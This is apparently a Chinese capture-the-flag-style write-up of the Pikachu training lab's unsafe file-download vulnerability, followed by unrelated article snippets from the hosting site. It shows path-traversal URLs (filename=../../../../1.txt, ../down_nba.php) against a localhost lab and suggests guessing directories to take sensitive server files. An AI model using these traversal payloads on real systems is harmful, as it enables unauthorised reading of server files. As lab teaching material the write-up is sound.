pikachu: unsafe filedownload(文件下载)

news2024/11/17 21:48:53

是一个图片下载页面,随便下载一张图片,查看下载链接发现是

http://127.0.0.1:8001/vul/unsafedownload/execdownload.php?filename=kb.png

修改拼接 URL, 构造想要传的的路径来对其进行文件上传

http://127.0.0.1/pikachu-master/vul/unsafedownload/execdownload.php?filename=1.php

发现提示文件不存在,因此我们需要构造路径上传

上传的文件的地址:
phpStudy_64\phpstudy_pro\WWW\1.txt

构造后的URL:
http://127.0.0.1/pikachu-master/vul/unsafedownload/execdownload.php?filename=../../../../1.txt

访问构造后的 URL 会弹出迅雷提示我下载

因此我们可以确定存在 Unsafe file download 漏洞。可以进行 ../ 返回上一级,再进行猜目录等构造更复杂的下载路径来下载服务器中的敏感文件

http://127.0.0.1/pikachu-master/vul/unsafedownload/execdownload.php?filename=../down_nba.php

发现可以下载

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1991653.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

芯片底部填充工艺流程有哪些?

芯片底部填充工艺流程有哪些?底部填充工艺(Underfill)是一种在电子封装过程中广泛使用的技术,主要用于增强倒装芯片(Flip Chip)、球栅阵列(BGA)、芯片级封装(CSP&#xf…

多久没有清理你的电脑磁盘了?轻松解锁免费轻量磁盘清理工具

随着我们日常使用电脑的时间越来越长,磁盘上积累的无用文件和垃圾数据也越来越多。这些文件不仅占用宝贵的存储空间,还可能拖慢电脑的运行速度。 那么,你多久没有清理过你的电脑磁盘了呢? 今天,我将为大家推荐几款免…

低代码平台:效率利器还是质量妥协?

目录 低代码平台:效率利器还是质量妥协? 一、引言 二、低代码平台的定义和背景 1、什么是低代码平台? 2、低代码平台的兴起 三、低代码开发的机遇 1、提高开发效率 2、降低开发成本 3、赋能业务人员 四、低代码开发的挑战 1、质量…

Midjourney V6.1更新 | 细节狂魔,绝美人像(附提示词)

前言 Midjourney V6.1版本,堪称细节狂魔,在人像上简直登峰造极! 自V6.1版本更新以来我一次次被Midjourney生成的人像震惊到!用Midjourney官网分享的提示词微调,生成图像,每一张都绝美,晚上玩到…

Go语言并发编程实战:掌握并发模型,提升应用性能

1. 引言 1.1 并发编程的重要性 在现代软件开发中,并发编程已经成为了一种不可或缺的技术。随着多核处理器的普及和云计算的兴起,应用程序需要能够有效地利用并发处理能力,以提高性能和用户体验。并发编程使得程序能够在同一时间内处理多个任…

《MySQL 数据库》 安装、配置、字符集修改 —/—<1>

一、MySQL介绍 1、介绍MySQL 数据库是数据的仓库,与普通的数据仓库不同的是,数据库依据数据结构来组织数据,因为数据结构的存在,所以看到的数据是条理化的 数据库和普通文件系统的区别在与:数据库拥有数据结构,能都快速查找对应的数据 常说的MySQL数据库…

Pytorch-张量的创建

🌈个人主页: 羽晨同学 💫个人格言:“成为自己未来的主人~” 简介: 一个Python深度学习框架,它将数据封装成张量(Tensor)进行处理,Python中的张量就是元素为同一种数据类型的多维…

南京观海微电子----静电放电ESD保护设计方案

ESD 保护方案 图 5- 2 所示的片上保护设计概念被用来避免来自几乎随机组合的引脚之间的HBM / MM ESD 应力损伤。对每一个输入或输出引脚, 在压焊点与 VDD 和 VSS 电源线之间采用 ESD 钳位器件, 用于泄放 I / O 引脚上的四种模式的 ESD 应力。为了克服引脚…

Qt题目知多少-3

1.事件与信号的区别 使用场合和时机不同 一般情况下,在“使用”窗口部件时,我们经常需要使用信号,并且会遵循信号与槽的机制;而在“实现”窗口部件时,我们就不得不考虑如何处理事件了。举个例子,当使用 QPu…

界面组件Kendo UI for Vue 2024 Q2亮点 - 发布一系列新组件

随着最新的2024年第二季度发布,Kendo UI for Vue为应用程序开发设定了标准,包括生成式AI集成、增强的设计系统功能和可访问的数据可视化。新的2024年第二季度版本为应用程序界面提供了人工智能(AI)提示,从设计到代码的生产力增强、可访问性改…

算法23:寻找旋转排序数组中的最小值

寻找旋转排序数组中的最小值. - 备战技术面试?力扣提供海量技术面试资源,帮助你高效提升编程技能,轻松拿下世界 IT 名企 Dream Offer。https://leetcode.cn/problems/find-minimum-in-rotated-sorted-array/ 这个题乍一看可以用二分查找,并且…

C#——使用S7netplus包实现西门子s7协议

使用S7netplus包实现西门子s7协议 S7netplus是一个用于与Siemens S7 PLC进行通信的C#库。它提供了一种简单的方式来读取和写入PLC中的数据。 安装 可以通过NuGet包管理器来安装。 S7netplus的使用 一、连接 // CpuType:PLC的CPU型号,咱用的这个设备…

write_sdc和write_script区别

文章目录 一、set_disable_clock_gating_check二、write_sdc和write_script区别1. write_sdc2. write_script 一、set_disable_clock_gating_check set_disable_clock_gating_check对指定的cell/pin/lib_cell/lib_pin设置是否进行clock gating的时序检查。 对于工具插入或者…

C语言——计算1-1/2+1/3-...+1/99-1/100+...相似题目集合

题目一&#xff1a; #include<stdio.h> #include<math.h>int main() {int n 1;float sum 0, term 1, sign 1;while (fabs(term) > 1e-4){term sign / n;sum term;sign -sign;n;}printf("sum%f", sum);return 0; } 题目二&#xff1a; #include…

服务器数据恢复—Raid故障导致存储中数据库数据丢失的数据恢复案例

服务器存储数据恢复环境&故障情况&#xff1a; 一台光纤存储中有一组由16块硬盘组成的raid。 该存储出现故障导致数据丢失。RAID中2块盘掉线&#xff0c;还有1块盘smart状态为“警告”。 服务器存储数据恢复过程&#xff1a; 1、通过该存储自带的存储管理软件将当前存储的完…

关于之前写的一篇“快速构建MES系统”引发的争议,后续来了~~

之前因写了一篇用低代码开发平台快速搭建MES系统&#xff0c;结果被大量的网友骂得体无完肤&#xff0c;不过&#xff0c;默默点赞、默默收藏、默默分享的用户还是大有人在。 在某些方面&#xff0c;或许在语言表达上不够精确&#xff0c;不够准确&#xff0c;这里也给各位看官…

免费微博批量取关工具

下载地址&#xff1a;https://pan.quark.cn/s/1d507dcfffe9 软件功能 批量删除微博批量取消关注批量移除粉丝批量取消收藏批量取消赞批量删除评论

<数据集>停车场空位识别数据集<目标检测>

数据集格式&#xff1a;VOCYOLO格式 图片数量&#xff1a;12416张 标注数量(xml文件个数)&#xff1a;12416 标注数量(txt文件个数)&#xff1a;12416 标注类别数&#xff1a;2 标注类别名称&#xff1a;[space-empty, space-occupied] 序号类别名称图片数框数1space-occ…

科技驱动健康,景联文科技提供高质量高血压数据采集

当前&#xff0c;穿戴手表市场呈现出快速发展趋势&#xff0c;已成为可穿戴设备领域的一个重要组成部分。市场上智能手表的厂商包括小米、华为、苹果、步步高、vivo、努比亚、三六零、科大讯飞、等。 高血压数据采集可为高血压的预防提供支持&#xff0c;持续监测可以帮助用户及…

云原生课程-k8s基础系列-k8s实战之pod详解

pod是可以在k8s中创建和管理的&#xff0c;最小的可部署的计算单元&#xff0c;pod(就像在豌豆荚中&#xff09;是一组&#xff08;一个或多个&#xff09;容器&#xff1b;这些容器共享存储&#xff0c;网络&#xff0c;以及怎样运行这些容器的声明。 创建pod kubectl run my…